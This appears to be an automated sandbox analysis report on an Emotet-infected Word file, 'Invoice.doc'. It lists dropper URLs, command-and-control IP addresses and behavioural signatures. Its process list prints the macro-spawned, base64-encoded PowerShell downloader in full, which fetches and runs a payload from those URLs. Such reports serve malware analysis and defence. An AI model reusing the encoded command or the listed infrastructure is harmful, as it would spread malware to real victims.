Analysis

  • max time kernel
    135s
  • max time network
    143s
  • platform
    windows10_x64
  • resource
    win10
  • submitted
    21/10/2020, 07:47

General

  • Target
    Invoice.doc
  • Size 188KB
  • Sample201021-67cbwhekfe
  • SHA256 8ec66231199f5f5fe7ec4b7165225152d2a2eaad0d4c868f01121d0398db1c27
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    https://atrezzos.beneficiosparaempleados.com/wp-admin/kzqh1zM/

  • exe.dropper

    http://vinarorganics.com/css/L0vMERYKQD/

  • exe.dropper

    http://adidasyeezy.store/welph/ccrcbr1xFU/

  • exe.dropper

    http://www.zunan.com.tw/wp-admin/lQ59Q/

  • exe.dropper

    https://vstsample.com/wp-includes/YV/

  • exe.dropper

    https://tuneclick.co.uk/img/eBV/

  • exe.dropper

    https://library.strophicmusic.com/test/VNTHdB7678/

Extracted

Family
  • emotet

Botnet
  • Epoch3

C2
  • 5.2.246.108:80

  • 91.121.87.90:8080

  • 104.131.144.215:8080

  • 188.226.165.170:8080

  • 153.229.219.1:443

  • 192.241.220.183:8080

  • 41.76.213.144:8080

  • 116.202.10.123:8080

  • 178.33.167.120:8080

  • 77.74.78.80:443

  • 60.108.128.186:80

  • 37.205.9.252:7080

  • 119.92.77.17:80

  • 109.206.139.119:80

  • 185.63.32.149:80

  • 190.85.46.52:7080

  • 223.17.215.76:80

  • 162.144.145.58:8080

  • 139.59.61.215:443

  • 179.5.118.12:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 7 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\Invoice.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:4092
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD UwBlAHQALQBWAGEAUgBpAGEAQgBsAGUAIAAgACgAIgB5AHMAUQBXACIAKwAiADUAIgApACAAKABbAFQAWQBwAEUAXQAoACIAewAyAH0AewAxAH0AewA0AH0AewAwAH0AewAzAH0AIgAtAGYAIAAnAEkATwAuACcALAAnAHkAcwB0AEUAJwAsACcAUwAnACwAJwBEAGkAUgBFAEMAdABPAFIAeQAnACwAJwBNAC4AJwApACAAKQAgACAAOwAgACAAIAAkAE0ARAA0ADMAIAA9ACAAWwB0AHkAcABlAF0AKAAiAHsAMgB9AHsANAB9AHsANQB9AHsAOQB9AHsAOAB9AHsANwB9AHsAMQB9AHsANgB9AHsAMAB9AHsAMwB9ACIAIAAtAEYAJwBjAGUAcABvAEkATgB0AE0AYQBuAEEAJwAsACcAUgBWACcALAAnAFMAWQBzACcALAAnAGcAZQByACcALAAnAFQARQBtACcALAAnAC4AbgAnACwAJwBJACcALAAnAGUAJwAsACcALgBzACcALAAnAEUAVAAnACkAIAAgADsAIAAgACQAUgAwAGUAdwAwAG8AeAA9ACgAJwBVACcAKwAnADkAbQAnACsAKAAnAHgAdAAnACsAJwB3AGEAJwApACkAOwAkAFoAZAByAGIAdwA3ADkAPQAkAEgAYQB5AHMAMgBpADYAIAArACAAWwBjAGgAYQByAF0AKAAxACAAKwAgADEAIAArACAAMgAwACAAKwAgADEAMAAgACsAIAAxADAAKQAgACsAIAAkAFUAegA2ADgAdAA4ADYAOwAkAEkAcABvAHgAMwBtAHEAPQAoACcAVgBuACcAKwAoACcAZQAwAHIAJwArACcAZQAnACkAKwAnAGUAJwApADsAIAAgACQAeQBTAFEAVwA1ADoAOgAiAEMAcgBlAGEAVABlAGAARABpAHIARQBDAFQAYABPAGAAUgBZACIAKAAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACAAKwAgACgAKAAnAGIAVAAnACsAKAAnAE8AJwArACcAUwByACcAKQArACgAJwBvADgAJwArACcAOAAnACkAKwAoACcANAAzAGIAVAAnACsAJwBPAFQAcQAnACkAKwAnAHcAbQAnACsAKAAnAHgAOQAzAGIAJwArACcAVABPACcAKQApACAAIAAtAFIAZQBQAEwAQQBDAEUAIAAgACgAWwBDAEgAYQByAF0AOQA4ACsAWwBDAEgAYQByAF0AOAA0ACsAWwBDAEgAYQByAF0ANwA5ACkALABbAEMASABhAHIAXQA5ADIAKQApADsAJABMAGYAYgB4AGsAawBsAD0AKAAoACcARAAnACsAJwBsADUAJwApACsAKAAnAGsAdQAnACsAJwAyAHMAJwApACkAOwAgACgAIAAgAHYAYQByAEkAYQBCAEwAZQAgAG0AZAA0ADMAIAApAC4AdgBhAGwAVQBlADoAOgAiAHMARQBgAEMAVQBSAEkAYABUAHkAcABgAFIATwB0AG8AYwBvAEwAIgAgAD0AIAAoACgAJwBUAGwAcwAnACsAJwAxACcAKQArACcAMgAnACkAOwAkAEMAawBsAGUAaQBvAHoAPQAoACcATwBtACcAKwAoACcAeABvAGQANwAnACsAJwBtACcAKQApADsAJABRAHUAbQB3AG0AZQBpACAAPQAgACgAKAAnAE8AegByACcAKwAnAG4AJwArACcANgBoADIAJwApACsAJwBjACcAKQA7ACQAWQBzAHIAcwBmADMAZAA9ACgAJwBHACcAKwAoACcANwBnADUAJwArACcAXwA5ACcAKQArACcAYgAnACkAOwAkAEMAYwAwAHgAOQBtAGoAPQAoACgAJwBFACcAKwAnADEANgAnACkAKwAoACcAawBmAGEAJwArACcANwAnACkAKQA7ACQASQBoAHAAbgAwAGUAZQA9ACQAZQBuAHYAOgB1AHMAZQByAHAAcgBvAGYAaQBsAGUAKwAoACgAKAAnADYAdAAnACsAJwBRAFMAcgAnACsAJwBvADgAJwApACsAKAAnADgANAAzADYAJwArACcAdABRACcAKQArACcAVAAnACsAKAAnAHEAJwArACcAdwBtACcAKQArACgAJwB4ADkAJwArACcAMwAnACkAKwAoACcANgB0ACcAKwAnAFEAJwApACkALQByAEUAcABsAEEAQwBlACgAWwBDAEgAQQBSAF0ANQA0ACsAWwBDAEgAQQBSAF0AMQAxADYAKwBbAEMASABBAFIAXQA4ADEAKQAsAFsAQwBIAEEAUgBdADkAMgApACsAJABRAHUAbQB3AG0AZQBpACsAKAAnAC4AZQAnACsAJwB4AGUAJwApADsAJABHAGIAagA3AGgAcQBwAD0AKAAnAE8AdQAnACsAJwA2AF8AJwArACgAJwBnADUAJwArACcAdgAnACkAKQA7ACQAUgBwAGIAOQB0AGMAawA9ACYAKAAnAG4AZQB3AC0AbwBiACcAKwAnAGoAJwArACcAZQBjAHQAJwApACAATgBFAHQALgBXAGUAQgBDAEwAaQBlAG4AdAA7ACQARgA0ADEAMgBmAGwAXwA9ACgAKAAnAGgAdAAnACsAJwB0ACcAKQArACgAJwBwAHMAJwArACcAOgAvACcAKQArACcALwBhACcAKwAoACcAdAAnACsAJwByAGUAegAnACkAKwAoACcAegBvACcAKwAnAHMAJwApACsAKAAnAC4AYgBlAG4AZQBmACcAKwAnAGkAJwArACcAYwAnACkAKwAnAGkAJwArACgAJwBvAHMAJwArACcAcABhAHIAJwApACsAJwBhACcAKwAoACcAZQBtACcAKwAnAHAAJwArACcAbABlAGEAZABvACcAKQArACgAJwBzACcAKwAnAC4AYwBvACcAKQArACcAbQAvACcAKwAoACcAdwBwACcAKwAnAC0AJwApACsAKAAnAGEAZABtAGkAbgAnACsAJwAvACcAKQArACcAawAnACsAKAAnAHoAcQBoACcAKwAnADEAegAnACsAJwBNACcAKQArACgAJwAvACcAKwAnACoAaAB0ACcAKQArACgAJwB0ACcAKwAnAHAAOgAnACkAKwAoACcALwAvAHYAaQAnACsAJwBuAGEAJwApACsAKAAnAHIAJwArACcAbwByAGcAYQAnACkAKwAnAG4AJwArACcAaQAnACsAJwBjAHMAJwArACgAJwAuAGMAJwArACcAbwAnACkAKwAnAG0ALwAnACsAKAAnAGMAJwArACcAcwBzACcAKQArACgAJwAvACcAKwAnAEwAMAB2AE0ARQAnACkAKwAoACcAUgAnACsAJwBZAEsAJwApACsAJwBRAEQAJwArACgAJwAvACoAJwArACcAaAAnACkAKwAnAHQAJwArACgAJwB0AHAAOgAvAC8AJwArACcAYQAnACkAKwAoACcAZAAnACsAJwBpAGQAYQBzAHkAJwArACcAZQBlAHoAeQAuAHMAdAAnACkAKwAnAG8AJwArACcAcgBlACcAKwAnAC8AdwAnACsAJwBlAGwAJwArACgAJwBwAGgAJwArACcALwAnACkAKwAoACcAYwBjACcAKwAnAHIAJwApACsAKAAnAGMAYgAnACsAJwByADEAJwApACsAKAAnAHgARgBVACcAKwAnAC8AKgAnACsAJwBoAHQAdABwADoALwAvACcAKQArACcAdwB3ACcAKwAnAHcAJwArACgAJwAuAHoAJwArACcAdQAnACkAKwAnAG4AJwArACgAJwBhAG4ALgBjAG8AbQAuACcAKwAnAHQAdwAvACcAKwAnAHcAJwApACsAJwBwAC0AJwArACcAYQBkACcAKwAnAG0AaQAnACsAJwBuACcAKwAoACcALwBsAFEAJwArACcANQA5ACcAKQArACcAUQAnACsAJwAvACoAJwArACgAJwBoAHQAdABwACcAKwAnAHMAJwApACsAKAAnADoAJwArACcALwAvAHYAJwApACsAKAAnAHMAdABzAGEAbQBwAGwAJwArACcAZQAuACcAKwAnAGMAbwBtACcAKQArACcALwB3ACcAKwAoACcAcAAtAGkAJwArACcAbgBjACcAKwAnAGwAJwApACsAKAAnAHUAZABlACcAKwAnAHMAJwArACcALwBZACcAKQArACgAJwBWACcAKwAnAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAJwBwAHMAJwArACcAOgAvACcAKwAoACcALwAnACsAJwB0AHUAbgBlACcAKwAnAGMAbABpACcAKQArACgAJwBjACcAKwAnAGsAJwArACcALgBjAG8ALgB1ACcAKQArACcAawAvACcAKwAoACcAaQAnACsAJwBtAGcALwAnACkAKwAnAGUAJwArACgAJwBCAFYAJwArACcALwAnACkAKwAoACcAKgBoACcAKwAnAHQAJwApACsAJwB0ACcAKwAnAHAAJwArACgAJwBzADoAJwArACcALwAvAGwAaQBiAHIAYQAnACsAJwByAHkAJwArACcALgAnACsAJwBzACcAKQArACcAdAByACcAKwAnAG8AJwArACgAJwBwAGgAJwArACcAaQBjACcAKQArACcAbQAnACsAKAAnAHUAcwAnACsAJwBpAGMAJwApACsAKAAnAC4AJwArACcAYwBvACcAKQArACgAJwBtACcAKwAnAC8AJwArACcAdABlACcAKwAnAHMAdAAvAFYATgBUAEgAZAAnACkAKwAoACcAQgA3ADYAJwArACcANwA4AC8AJwApACkALgAiAHMAUABsAGAAaQB0ACIAKAAkAEsANwAyAGYANABwAGcAIAArACAAJABaAGQAcgBiAHcANwA5ACAAKwAgACQARwBzAG0AcQA5ADUAegApADsAJABBAHgAdgA5AHkAZwBqAD0AKAAnAFEAbwAnACsAKAAnAGQAbgByACcAKwAnAGoAJwApACsAJwA0ACcAKQA7AGYAbwByAGUAYQBjAGgAIAAoACQARABhAHAAawAyAGEAeQAgAGkAbgAgACQARgA0ADEAMgBmAGwAXwApAHsAdAByAHkAewAkAFIAcABiADkAdABjAGsALgAiAEQATwBXAE4AYABsAE8AYQBEAGAARgBgAGkAbABlACIAKAAkAEQAYQBwAGsAMgBhAHkALAAgACQASQBoAHAAbgAwAGUAZQApADsAJABEAGMANgBrAGoAMQAyAD0AKAAoACcAVwB4AHgAJwArACcAMQBlACcAKQArACcAMAB4ACcAKQA7AEkAZgAgACgAKAAmACgAJwBHAGUAdAAnACsAJwAtACcAKwAnAEkAdABlAG0AJwApACAAJABJAGgAcABuADAAZQBlACkALgAiAGwARQBgAE4AZwB0AGgAIgAgAC0AZwBlACAANAA0ADIAMQA5ACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAoACcAdwAnACsAKAAnAGkAJwArACcAbgAzACcAKQArACcAMgAnACsAKAAnAF8AUAByAG8AYwAnACsAJwBlACcAKwAnAHMAcwAnACkAKQApAC4AIgBDAFIAYABlAEEAdABFACIAKAAkAEkAaABwAG4AMABlAGUAKQA7ACQAUQBfAHQAagB4AGQAagA9ACgAJwBDAHMAJwArACcAcAAnACsAKAAnAG0ANABmACcAKwAnAF8AJwApACkAOwBiAHIAZQBhAGsAOwAkAFoAbAA2ADAAcAAwAGsAPQAoACcAVABjACcAKwAoACcAYgB0ACcAKwAnAHUAdQAnACkAKwAnAHoAJwApAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAHQANgBrAGoAZABzAD0AKAAnAFEAeQAnACsAKAAnAGcAaQBsACcAKwAnAHIAZAAnACkAKQA=
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    PID:3668
  • C:\Users\Admin\Sro8843\Tqwmx93\Ozrn6h2c.exe
    C:\Users\Admin\Sro8843\Tqwmx93\Ozrn6h2c.exe
    1⤵
    • Executes dropped EXE
    • Drops file in System32 directory
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2988
    • C:\Windows\SysWOW64\RemoveDeviceContextHandler\sfc.exe
      "C:\Windows\SysWOW64\RemoveDeviceContextHandler\sfc.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of SetWindowsHookEx
      PID:3992

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/2988-14-0x0000000002170000-0x0000000002188000-memory.dmp

        memory/2988-13-0x0000000002150000-0x0000000002169000-memory.dmp

        memory/3668-8-0x00007FFDC5F60000-0x00007FFDC694C000-memory.dmp

        memory/3668-9-0x000002C2EC190000-0x000002C2EC191000-memory.dmp

        memory/3668-10-0x000002C2EC340000-0x000002C2EC341000-memory.dmp

        memory/3992-18-0x0000000000770000-0x0000000000788000-memory.dmp

        memory/3992-17-0x0000000000750000-0x0000000000769000-memory.dmp

        memory/4092-0-0x00007FFDCD040000-0x00007FFDCD706000-memory.dmp

        memory/4092-7-0x00000171752DE000-0x00000171752EF000-memory.dmp

        memory/4092-6-0x00000171752DE000-0x00000171752EF000-memory.dmp

        memory/4092-4-0x0000017175163000-0x0000017175168000-memory.dmp

        memory/4092-3-0x0000017175168000-0x000001717516D000-memory.dmp

        memory/4092-2-0x0000017175168000-0x000001717516D000-memory.dmp

        memory/4092-5-0x0000017172B4D000-0x0000017172B52000-memory.dmp

        memory/4092-1-0x0000017175168000-0x000001717516D000-memory.dmp